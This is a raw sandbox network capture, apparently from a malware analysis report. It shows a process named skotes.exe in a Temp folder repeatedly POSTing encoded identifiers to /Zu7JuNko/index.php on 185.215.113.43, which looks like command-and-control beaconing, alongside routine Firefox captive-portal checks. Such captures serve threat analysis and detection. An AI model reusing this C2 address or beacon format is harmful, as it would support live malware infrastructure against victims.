Dec 9, 2024 20:29:26.111844063 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:27.452023983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50049	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:29.215333939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:30.551692963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50058	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:32.196244001 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:33.547780991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50066	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:35.301341057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:36.658991098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50083	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:38.321710110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:39.665548086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50093	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:41.432892084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:29:42.790102005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:44.015602112 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:45.104787111 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8769 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50117	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:44.462445021 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:29:45.861377001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	50124	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:45.232671976 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:46.341470003 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57320 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:46.457165003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:46.772576094 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57320 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:46.789026022 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:47.103820086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57320 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:47.661901951 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:47.976746082 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57321 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:48.012868881 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:48.329268932 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57322 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:49.492125988 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:49.809257030 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57323 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:29:52.557928085 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:29:52.873964071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57326 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:02.906255007 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:04.173665047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:04.488711119 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57338 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:14.498689890 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:14.614422083 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:14.932017088 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57348 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:16.039056063 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:16.361499071 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57350 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:26.048557997 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:26.364594936 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57360 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:36.409725904 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:30:40.885526896 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:41.205120087 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57375 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:44.781996012 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:45.097203016 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57378 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:46.076160908 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:30:46.391395092 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57380 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:30:56.410516977 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:06.611041069 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:07.551311016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:31:07.868590117 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57401 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:31:17.898125887 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:28.104785919 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:38.304655075 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:48.506849051 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:31:58.707197905 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:32:29.254385948 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:32:29.571942091 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57483 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:32:47.606605053 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:32:47.924210072 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 03:34:26 GMT Age: 57501 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50127	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:29:45.333781958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:46.427031040 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8771 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:46.467185020 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:46.784950972 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8771 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:47.342515945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:47.657618046 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8772 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:47.694109917 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:48.009066105 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8772 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:29:49.174595118 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:29:49.488636017 CET	297	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 8774 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
